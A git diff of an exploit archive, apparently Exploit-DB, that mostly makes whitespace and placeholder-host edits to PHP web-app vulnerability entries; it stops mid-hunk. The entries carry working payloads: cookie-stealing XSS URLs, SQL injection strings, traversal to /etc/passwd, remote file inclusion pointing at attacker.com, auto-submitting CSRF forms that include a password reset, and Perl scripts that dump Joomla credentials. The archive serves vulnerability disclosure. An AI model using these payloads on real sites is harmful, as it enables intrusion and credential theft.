b/platforms/php/webapps/34609.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br The issue affects MySource Matrix 3.28.3; other versions may also be affected. -http://www.example.com/fudge/wysiwyg/plugins/special_chars/char_map.php?width=233%3C/script%3E&height=233%3Cscript%3Ealert%28%27zsl%27%29%3C%2fscript%3E \ No newline at end of file +http://www.example.com/fudge/wysiwyg/plugins/special_chars/char_map.php?width=233%3C/script%3E&height=233%3Cscript%3Ealert%28%27zsl%27%29%3C%2fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/34617.txt b/platforms/php/webapps/34617.txt index c8bd3cc77..a0d5ce9f6 100755 --- a/platforms/php/webapps/34617.txt +++ b/platforms/php/webapps/34617.txt @@ -4,4 +4,4 @@ Perlshop is prone to multiple input-validation vulnerabilities including a nonde Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, input arbitrary data to restricted parameters, and view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information, which may aid in launching further attacks. -http://www.example.cgi/cgi-bin/perlshop.cgi?ACTION=ENTER%20SHOP&thispage=../../../../../../../../etc/passwd&ORDER_ID=%21ORDERID%21&LANG=english&CUR=dollar \ No newline at end of file +http://www.example.cgi/cgi-bin/perlshop.cgi?ACTION=ENTER%20SHOP&thispage=../../../../../../../../etc/passwd&ORDER_ID=%21ORDERID%21&LANG=english&CUR=dollar \ No newline at end of file diff --git a/platforms/php/webapps/34618.txt b/platforms/php/webapps/34618.txt index 1e9eb3e89..49af52b17 100755 --- a/platforms/php/webapps/34618.txt +++ b/platforms/php/webapps/34618.txt @@ -4,4 +4,4 @@ Omnistar Recruiting is prone to a cross-site scripting vulnerability because it An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/users/resume_register.php?job2=%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/users/resume_register.php?job2=%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34620.txt b/platforms/php/webapps/34620.txt index 3e6376d88..1d705669e 100755 --- a/platforms/php/webapps/34620.txt +++ b/platforms/php/webapps/34620.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Mechanical Bunny Media PaysiteReviewCMS 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/image.php?image=[XSS] \ No newline at end of file +http://www.example.com/image.php?image=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34633.txt b/platforms/php/webapps/34633.txt index ff1224480..5e2b03e80 100755 --- a/platforms/php/webapps/34633.txt +++ b/platforms/php/webapps/34633.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Spiceworks 3.6.33156 and 4.1.39229 are vulnerable; other versions may also be affected. -http://www.example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E \ No newline at end of file +http://www.example.com/search?query=--%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/34634.txt b/platforms/php/webapps/34634.txt index c9b6f2cdc..b3e215adc 100755 --- a/platforms/php/webapps/34634.txt +++ b/platforms/php/webapps/34634.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br I-Escorts Directory Script and I-Escorts Agency Script are vulnerable. -http://www.example.com/demos/escorts-agency/escorts_search.php => Your XSS \ No newline at end of file +http://www.example.com/demos/escorts-agency/escorts_search.php => Your XSS \ No newline at end of file diff --git a/platforms/php/webapps/34635.txt b/platforms/php/webapps/34635.txt index 0d64f24c6..d886d0f18 100755 --- a/platforms/php/webapps/34635.txt +++ b/platforms/php/webapps/34635.txt @@ -4,4 +4,4 @@ Willscript Auction Website Script is prone to an SQL-injection vulnerability bec Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/webtrade/category.php?cate_id=-19%20union%20all%20select%201,version%28 \ No newline at end of file +http://www.example.com/webtrade/category.php?cate_id=-19%20union%20all%20select%201,version%28 \ No newline at end of file diff --git a/platforms/php/webapps/34636.txt b/platforms/php/webapps/34636.txt index 5d5c80d13..ca402f4b6 100755 --- a/platforms/php/webapps/34636.txt +++ b/platforms/php/webapps/34636.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor NWS-Classifieds 007 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?cmd=../../../../../../../../windows/system.ini%00 \ No newline at end of file +http://www.example.com/index.php?cmd=../../../../../../../../windows/system.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/34639.txt b/platforms/php/webapps/34639.txt index 81d4147ec..28a187c16 100755 --- a/platforms/php/webapps/34639.txt +++ b/platforms/php/webapps/34639.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to CMScout 2.09 is vulnerable; other versions may also be affected. -http://www.example.com/cmscout/tiny_mce/plugins/ibrowser/ibrowser.php?lang=../../../../../../../../windows/win.ini%00 \ No newline at end of file +http://www.example.com/cmscout/tiny_mce/plugins/ibrowser/ibrowser.php?lang=../../../../../../../../windows/win.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/34640.txt b/platforms/php/webapps/34640.txt index 00b2108a8..b1b59492f 100755 --- a/platforms/php/webapps/34640.txt +++ b/platforms/php/webapps/34640.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary JavaScript code in the Mollify 1.6 is vulnerable; other versions may also be affected. -http://www.example.com/mollify/backend/plugin/Registration/index.php?confirm=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/mollify/backend/plugin/Registration/index.php?confirm=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/34646.txt b/platforms/php/webapps/34646.txt index e6e51aa51..76e073c9b 100755 --- a/platforms/php/webapps/34646.txt +++ b/platforms/php/webapps/34646.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a The following example data is available: username: root"# -password: foo \ No newline at end of file +password: foo \ No newline at end of file diff --git a/platforms/php/webapps/34649.txt b/platforms/php/webapps/34649.txt index 6fa88197f..d10106f84 100755 --- a/platforms/php/webapps/34649.txt +++ b/platforms/php/webapps/34649.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary HTML and script code in Netautor Professional 5.5.0 is vulnerable; other versions may also be affected. -http://www.example.com/netautor/napro4/home/login2.php?goback=%22%3Cscript%3Ealert%28document.location%29%3C/script%3E \ No newline at end of file +http://www.example.com/netautor/napro4/home/login2.php?goback=%22%3Cscript%3Ealert%28document.location%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/3465.txt b/platforms/php/webapps/3465.txt index 6fd381e6d..8798c9367 100755 --- a/platforms/php/webapps/3465.txt +++ b/platforms/php/webapps/3465.txt @@ -72,12 +72,12 @@ includes/lib-themes.inc.php Poc/Exploit: ~~~~~~~~~~ -http://server/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? -http://server/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? -http://server/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? -http://server/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? -http://server/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? -http://server/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? +http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? +http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? +http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? +http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? +http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? +http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/34653.txt b/platforms/php/webapps/34653.txt index 162a3c0fe..522e0510c 100755 --- a/platforms/php/webapps/34653.txt +++ b/platforms/php/webapps/34653.txt @@ -8,4 +8,4 @@ e107 0.7.23 is vulnerable; other versions may also be affected. http://www.example.com/e107_admin/download.php?cat.edit.999999%0Aunion%0Aselect%0A1,2,3,4,5,6,7 -http://www.example.com/e107_admin/wmessage.php?create.edit.999999%0Aunion%0Aselect%0A1,2,user%28%29 \ No newline at end of file +http://www.example.com/e107_admin/wmessage.php?create.edit.999999%0Aunion%0Aselect%0A1,2,user%28%29 \ No newline at end of file diff --git a/platforms/php/webapps/3467.txt b/platforms/php/webapps/3467.txt index bf1baa829..aebdf0d58 100755 --- a/platforms/php/webapps/3467.txt +++ b/platforms/php/webapps/3467.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| diff --git a/platforms/php/webapps/3468.txt b/platforms/php/webapps/3468.txt index 518502a56..343857325 100755 --- a/platforms/php/webapps/3468.txt +++ b/platforms/php/webapps/3468.txt @@ -61,7 +61,7 @@ When register_globals=on and allow_fopenurl=on an attacker can exploit this vuln Poc/Exploit: ~~~~~~~~~ -http://server/[mysqlcommander_path]/ressourcen/dbopen.php?home=http://attacker.com/evil? +http://www.target.com/[mysqlcommander_path]/ressourcen/dbopen.php?home=http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/34684.pl b/platforms/php/webapps/34684.pl index 6521fe0a1..292adbfa7 100755 --- a/platforms/php/webapps/34684.pl +++ b/platforms/php/webapps/34684.pl @@ -15,7 +15,7 @@ print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $florix="concat(username,0x3a,password)"; @@ -32,4 +32,4 @@ print "# Tebrikler Bro Exploit Calisti! #\n\n"; } else{print "\n[-] Malesef Bro Exploit Calismadi...\n"; } - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/34689.txt b/platforms/php/webapps/34689.txt index 149587031..18fe0705f 100755 --- a/platforms/php/webapps/34689.txt +++ b/platforms/php/webapps/34689.txt @@ -10,4 +10,4 @@ http://www.example.com/path/book.php?do=show&ids=-1 union select 1,version(),3,4 The following data is available: -admin First : 'or 1=1 or ' & or & 'or 1=1/* \ No newline at end of file +admin First : 'or 1=1 or ' & or & 'or 1=1/* \ No newline at end of file diff --git a/platforms/php/webapps/34694.txt b/platforms/php/webapps/34694.txt index ab4cfc43b..f913d7f1e 100755 --- a/platforms/php/webapps/34694.txt +++ b/platforms/php/webapps/34694.txt @@ -11,4 +11,4 @@ The following example data is available: userid=q' or 1='1 username=q' or 1='1 -session=q' or 1='1 \ No newline at end of file +session=q' or 1='1 \ No newline at end of file diff --git a/platforms/php/webapps/34699.txt b/platforms/php/webapps/34699.txt index 5e1123c30..392d5b804 100755 --- a/platforms/php/webapps/34699.txt +++ b/platforms/php/webapps/34699.txt @@ -10,4 +10,4 @@ https://www.example.com/livelink/livelink?func=ll&objId=514&objAction=browse&vie https://www.example.com/livelinkdav/nodes/OOB_DAVWindow.html?func=oobget&nodeid=514&support=/livelinksupport/&setctx=');[XSS] -https://www.example.com/livelink/livelink?func=ll&objid=1&objAction=browse&sort=[XSS] \ No newline at end of file +https://www.example.com/livelink/livelink?func=ll&objid=1&objAction=browse&sort=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34705.txt b/platforms/php/webapps/34705.txt index 3530c1bff..58a0959d9 100755 --- a/platforms/php/webapps/34705.txt +++ b/platforms/php/webapps/34705.txt @@ -8,4 +8,4 @@ APBook 1.3.0 is vulnerable; other versions may also be affected. The following example data is available: -Put as username and password: 'or 1=1/* \ No newline at end of file +Put as username and password: 'or 1=1/* \ No newline at end of file diff --git a/platforms/php/webapps/34706.txt b/platforms/php/webapps/34706.txt index 2a2244343..aeadd5d7b 100755 --- a/platforms/php/webapps/34706.txt +++ b/platforms/php/webapps/34706.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor MyDLstore Meta Search Engine Script 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/metasearch/index.php?url=evilcode.txt?&file=Search \ No newline at end of file +http://www.example.com/metasearch/index.php?url=evilcode.txt?&file=Search \ No newline at end of file diff --git a/platforms/php/webapps/34708.pl b/platforms/php/webapps/34708.pl index 27903a45f..978070a18 100755 --- a/platforms/php/webapps/34708.pl +++ b/platforms/php/webapps/34708.pl @@ -11,7 +11,7 @@ Exploiting this issue could allow an attacker to compromise the application, acc #[!] Greetz: Sakkure And All My Friends #[!] Script_Name: Joomla Com_tax #[!] Exaple: >>> perl exploit.pl - >>> http://server + >>> http://site.com ######################################## print "\t\t \n\n"; @@ -22,7 +22,7 @@ print "\t\t \n\n"; print "\t\t|Joomla com_tax Remote SQL Inj. Exploit|\n\n"; print "\t\t \n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $florix="concat(username,0x3a,password)"; $sakkure="jos_users"; diff --git a/platforms/php/webapps/34745.txt b/platforms/php/webapps/34745.txt index 905152c87..80125b124 100755 --- a/platforms/php/webapps/34745.txt +++ b/platforms/php/webapps/34745.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Ultra Classifieds Pro is vulnerable; other versions may also be affected. -http://www.example.com/ultraclassifieds/subclass.php?c=18&cname=1<script>alert(308954043099)</script> \ No newline at end of file +http://www.example.com/ultraclassifieds/subclass.php?c=18&cname=1<script>alert(308954043099)</script> \ No newline at end of file diff --git a/platforms/php/webapps/34747.txt b/platforms/php/webapps/34747.txt index 994d7c50a..f32dd04ee 100755 --- a/platforms/php/webapps/34747.txt +++ b/platforms/php/webapps/34747.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor LittleSite 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/littlesite/index.php?file=../../../../etc/passwd \ No newline at end of file +http://www.example.com/littlesite/index.php?file=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/34770.txt b/platforms/php/webapps/34770.txt index 194d5c2c3..ea9f26d9d 100755 --- a/platforms/php/webapps/34770.txt +++ b/platforms/php/webapps/34770.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to compromise the application, access or m http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=5 TRUE http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+AND%20SUBSTRING(@@version,1,1)=4 FALSE -http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()-- \ No newline at end of file +http://www.example.com/hangman/index.php?letters=A&n=1%20and%201=1+union+select+1,version()-- \ No newline at end of file diff --git a/platforms/php/webapps/34782.txt b/platforms/php/webapps/34782.txt index ef22c5bcf..60c91be2c 100755 --- a/platforms/php/webapps/34782.txt +++ b/platforms/php/webapps/34782.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Car Portal 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/autoportal10/index.php?page=en_Home&car=[SQL Injection] \ No newline at end of file +http://www.example.com/autoportal10/index.php?page=en_Home&car=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/34788.txt b/platforms/php/webapps/34788.txt index 220124a82..41c108b61 100755 --- a/platforms/php/webapps/34788.txt +++ b/platforms/php/webapps/34788.txt @@ -8,4 +8,4 @@ The attacker may leverage the cross-site scripting issue to execute arbitrary sc MODx 2.0.2-pl is vulnerable; other versions may also be affected. -http://www.example.com/modx/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00 \ No newline at end of file +http://www.example.com/modx/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/34789.html b/platforms/php/webapps/34789.html index f112fd62d..e0820771c 100755 --- a/platforms/php/webapps/34789.html +++ b/platforms/php/webapps/34789.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow GetSimple CMS 2.01 is vulnerable; prior versions may also be affected. -<form action="http://host/admin/changedata.php" method="post" name="main" > <input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' /> <input type="hidden" name="post-id" value="test" /> <input type="hidden" name="post-metak" value="" /> <input type="hidden" name="post-metad" value="" /> <input type="hidden" name="post-parent" value="" /> <input type="hidden" name="post-template" value="template.php" /> <input type="hidden" name="post-menu" value="test" /> <input type="hidden" name="post-menu-order" value="" /> <input type="hidden" name="post-content" value="page html" /> <input type="hidden" name="existing-url" value="test" /> <input type="hidden" name="submitted" value="Save Updates" /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://host/admin/changedata.php" method="post" name="main" > <input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' /> <input type="hidden" name="post-id" value="test" /> <input type="hidden" name="post-metak" value="" /> <input type="hidden" name="post-metad" value="" /> <input type="hidden" name="post-parent" value="" /> <input type="hidden" name="post-template" value="template.php" /> <input type="hidden" name="post-menu" value="test" /> <input type="hidden" name="post-menu-order" value="" /> <input type="hidden" name="post-content" value="page html" /> <input type="hidden" name="existing-url" value="test" /> <input type="hidden" name="submitted" value="Save Updates" /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34791.txt b/platforms/php/webapps/34791.txt index 420b7cd61..295f6787e 100755 --- a/platforms/php/webapps/34791.txt +++ b/platforms/php/webapps/34791.txt @@ -4,4 +4,4 @@ Swinger Club Portal is prone to an SQL-injection vulnerability and a remote file An attacker can exploit these vulnerabilities to access or modify data, exploit latent vulnerabilities in the underlying database, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/anzeiger/start.php?go=rubrik&id=[SQL] \ No newline at end of file +http://www.example.com/anzeiger/start.php?go=rubrik&id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34792.txt b/platforms/php/webapps/34792.txt index 1f043c5fa..2f23092c6 100755 --- a/platforms/php/webapps/34792.txt +++ b/platforms/php/webapps/34792.txt @@ -4,4 +4,4 @@ Swinger Club Portal is prone to an SQL-injection vulnerability and a remote file An attacker can exploit these vulnerabilities to access or modify data, exploit latent vulnerabilities in the underlying database, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/anzeiger/start.php?go=[RFI] \ No newline at end of file +http://www.example.com/anzeiger/start.php?go=[RFI] \ No newline at end of file diff --git a/platforms/php/webapps/34793.txt b/platforms/php/webapps/34793.txt index fe3e53d33..aad6b5c7c 100755 --- a/platforms/php/webapps/34793.txt +++ b/platforms/php/webapps/34793.txt @@ -4,4 +4,4 @@ Top Paidmailer is prone to a remote file-include vulnerability because it fails An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. -http://www.example.com/patch/home.php?page=[rfi] \ No newline at end of file +http://www.example.com/patch/home.php?page=[rfi] \ No newline at end of file diff --git a/platforms/php/webapps/34797.txt b/platforms/php/webapps/34797.txt index 4d05153ee..a2217b1c3 100755 --- a/platforms/php/webapps/34797.txt +++ b/platforms/php/webapps/34797.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects version 4.3e; other versions may also be affected. -http://www.example.com/surgeweb?username_ex="/><scri<script>alert(document.cookie);</script><input type="hidden \ No newline at end of file +http://www.example.com/surgeweb?username_ex="/><scri<script>alert(document.cookie);</script><input type="hidden \ No newline at end of file diff --git a/platforms/php/webapps/34798.txt b/platforms/php/webapps/34798.txt index 843cf69ad..710671497 100755 --- a/platforms/php/webapps/34798.txt +++ b/platforms/php/webapps/34798.txt @@ -5,4 +5,4 @@ ITS SCADA is prone to an SQL-injection vulnerability. Exploiting this issue can allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. User ID = 1' or 1=(select top 1 password from Users)-- -Password = blank \ No newline at end of file +Password = blank \ No newline at end of file diff --git a/platforms/php/webapps/34803.txt b/platforms/php/webapps/34803.txt index 3ff7ccbba..77aada3de 100755 --- a/platforms/php/webapps/34803.txt +++ b/platforms/php/webapps/34803.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Online Guestbook Pro 5.1 is vulnerable; other versions may also be affected. -http://www.example.com/patch/ogp_show.php?display=[nm]&sort=&entry=[XSS]&search=&search_choice== \ No newline at end of file +http://www.example.com/patch/ogp_show.php?display=[nm]&sort=&entry=[XSS]&search=&search_choice== \ No newline at end of file diff --git a/platforms/php/webapps/34809.txt b/platforms/php/webapps/34809.txt index 43c3d74a2..9abb95ac9 100755 --- a/platforms/php/webapps/34809.txt +++ b/platforms/php/webapps/34809.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Tausch Ticket Script 3 is vulnerable; other versions may also be affected. -http://www.example.com/suchauftraege_user.php?userid=[SQL] \ No newline at end of file +http://www.example.com/suchauftraege_user.php?userid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34810.txt b/platforms/php/webapps/34810.txt index 5676c54a1..e0305fff3 100755 --- a/platforms/php/webapps/34810.txt +++ b/platforms/php/webapps/34810.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Tausch Ticket Script 3 is vulnerable; other versions may also be affected. -http://www.example.com/vote.php?descr=[SQL] \ No newline at end of file +http://www.example.com/vote.php?descr=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/34812.html b/platforms/php/webapps/34812.html index 400d0c7aa..9bf78c92d 100755 --- a/platforms/php/webapps/34812.html +++ b/platforms/php/webapps/34812.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Docebo 3.6.0.4 is vulnerable; prior versions may also be affected. -<form action="http://www.example.com/doceboLms/index.php?modname=advice&op=upadvice" method="post" name="main" > <input type="hidden" name="idAdvice" value="2" /> <input type="hidden" name="title" value="Hello" /> <input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="addadvice" value="Save changes" /> </form> <script> document.main.submit(); </script> \ No newline at end of file +<form action="http://www.example.com/doceboLms/index.php?modname=advice&op=upadvice" method="post" name="main" > <input type="hidden" name="idAdvice" value="2" /> <input type="hidden" name="title" value="Hello" /> <input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="addadvice" value="Save changes" /> </form> <script> document.main.submit(); </script> \ No newline at end of file diff --git a/platforms/php/webapps/34813.txt b/platforms/php/webapps/34813.txt index 8e714ecd4..f86901192 100755 --- a/platforms/php/webapps/34813.txt +++ b/platforms/php/webapps/34813.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a Elxis 2009.2 electra rev2631 is vulnerable; other versions may be affected. -http://www.example.com/administrator/index2.php?option=com_content&sectionid=0&task=edit&hidemainmenu=1&id=999'+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+c \ No newline at end of file +http://www.example.com/administrator/index2.php?option=com_content&sectionid=0&task=edit&hidemainmenu=1&id=999'+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+c \ No newline at end of file diff --git a/platforms/php/webapps/34820.pl b/platforms/php/webapps/34820.pl index 22823bd67..c33581f7b 100755 --- a/platforms/php/webapps/34820.pl +++ b/platforms/php/webapps/34820.pl @@ -15,7 +15,7 @@ print "\t\t Fl0rix | Bug Researchers \n\n"; print "\t\t \n\n"; print "\t\t Joomla com_clubmanager Remote SQL Injection Exploit \n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $florix="concat(username,0x3a,password)"; $sakkure="jos_users"; diff --git a/platforms/php/webapps/34825.html b/platforms/php/webapps/34825.html index 2e8665b38..cc7497a4a 100755 --- a/platforms/php/webapps/34825.html +++ b/platforms/php/webapps/34825.html @@ -8,4 +8,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Elgg 1.0 is vulnerable; other versions may also be affected. -<body onload="document.forms.g.submit();"> <iframe name="my_frame" ALING="BOTTOM" scrolling=no width=1 heigth=1></iframe> <form method="POST" target="my_frame" action="http://www.example.com/_userdetails/index.php" name="g" id="g"> <input type=hidden name="name" value=""> <input type=hidden name="email" value=""> <input type=hidden name="moderation" value="no"> <input type=hidden name="publiccoments" value="no"> <input type=hidden name="receivenotifications" value="no"> <input type=hidden name="password1" value="password"> <------ Eye with this <input type=hidden name="password2" value="password"> <------ Eye with this <input type=hidden name="flag[commentwall_access]" value="LOGGED_IN"> <input type=hidden name="lang" value=""> <input type=hidden name="flag[sidebarsidebar-profile]" value="yes"> <input type=hidden name="flag[sidebarsidebar-communities]" value="yes"> <input type=hidden name="flag[sidebarsidebar-blog]" value="yes"> <input type=hidden name="flag[sidebarsidebar-friends]" value="yes"> <input type=hidden name="visualeditor" value="yes"> <input type=hidden name="action" value="userdetails:update"> <input type=hidden name="id" value="id_victima"> <---------Eye with this <input type=hidden name="profile_id" value="id_victima"> <---------Eye with this </form> \ No newline at end of file +<body onload="document.forms.g.submit();"> <iframe name="my_frame" ALING="BOTTOM" scrolling=no width=1 heigth=1></iframe> <form method="POST" target="my_frame" action="http://www.example.com/_userdetails/index.php" name="g" id="g"> <input type=hidden name="name" value=""> <input type=hidden name="email" value=""> <input type=hidden name="moderation" value="no"> <input type=hidden name="publiccoments" value="no"> <input type=hidden name="receivenotifications" value="no"> <input type=hidden name="password1" value="password"> <------ Eye with this <input type=hidden name="password2" value="password"> <------ Eye with this <input type=hidden name="flag[commentwall_access]" value="LOGGED_IN"> <input type=hidden name="lang" value=""> <input type=hidden name="flag[sidebarsidebar-profile]" value="yes"> <input type=hidden name="flag[sidebarsidebar-communities]" value="yes"> <input type=hidden name="flag[sidebarsidebar-blog]" value="yes"> <input type=hidden name="flag[sidebarsidebar-friends]" value="yes"> <input type=hidden name="visualeditor" value="yes"> <input type=hidden name="action" value="userdetails:update"> <input type=hidden name="id" value="id_victima"> <---------Eye with this <input type=hidden name="profile_id" value="id_victima"> <---------Eye with this </form> \ No newline at end of file diff --git a/platforms/php/webapps/34826.html b/platforms/php/webapps/34826.html index fd5bec5df..4a0191a46 100755 --- a/platforms/php/webapps/34826.html +++ b/platforms/php/webapps/34826.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OverLook 5.0 is vulnerable; prior versions may also be affected. -<!-- -*-*- ANATOLIA SECURITY (c) 2010 -*-*- $ Title: Proof of Concept Code for OverLook v5 Cross-site Scripting Vuln. $ ADV-ID: 2010-002 $ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-002.txt $ Technical Details: http://www.anatoliasecurity.com/advisories/overlook-xss * PoC created by Eliteman ~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com ~ web: elite.anatoliasecurity.com --> <html> <head> <title> OverLook v5.0 Cross-site Scripting </title> </head> <body> <form action="http://target/overlook/title.php" method="get"> <input type="hidden" name="frame" value=""><script>alert(/1337/)</script><--"> </form> <script type="text/javascript"> document.forms[0].submit(); </script> </body> </html> \ No newline at end of file +<!-- -*-*- ANATOLIA SECURITY (c) 2010 -*-*- $ Title: Proof of Concept Code for OverLook v5 Cross-site Scripting Vuln. $ ADV-ID: 2010-002 $ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-002.txt $ Technical Details: http://www.anatoliasecurity.com/advisories/overlook-xss * PoC created by Eliteman ~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com ~ web: elite.anatoliasecurity.com --> <html> <head> <title> OverLook v5.0 Cross-site Scripting </title> </head> <body> <form action="http://target/overlook/title.php" method="get"> <input type="hidden" name="frame" value=""><script>alert(/1337/)</script><--"> </form> <script type="text/javascript"> document.forms[0].submit(); </script> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/34833.txt b/platforms/php/webapps/34833.txt index b960811a1..90133c097 100755 --- a/platforms/php/webapps/34833.txt +++ b/platforms/php/webapps/34833.txt @@ -4,4 +4,4 @@ The 'com_trade' component for Joomla! and Mambo is prone to a cross-site scripti Exploiting this vulnerability could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?option=com_trade&task=product_info&Itemid=florix&PID=[XSS] \ No newline at end of file +http://www.example.com/index.php?option=com_trade&task=product_info&Itemid=florix&PID=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/34837.txt b/platforms/php/webapps/34837.txt index 5d6a01f90..7296b4e24 100755 --- a/platforms/php/webapps/34837.txt +++ b/platforms/php/webapps/34837.txt @@ 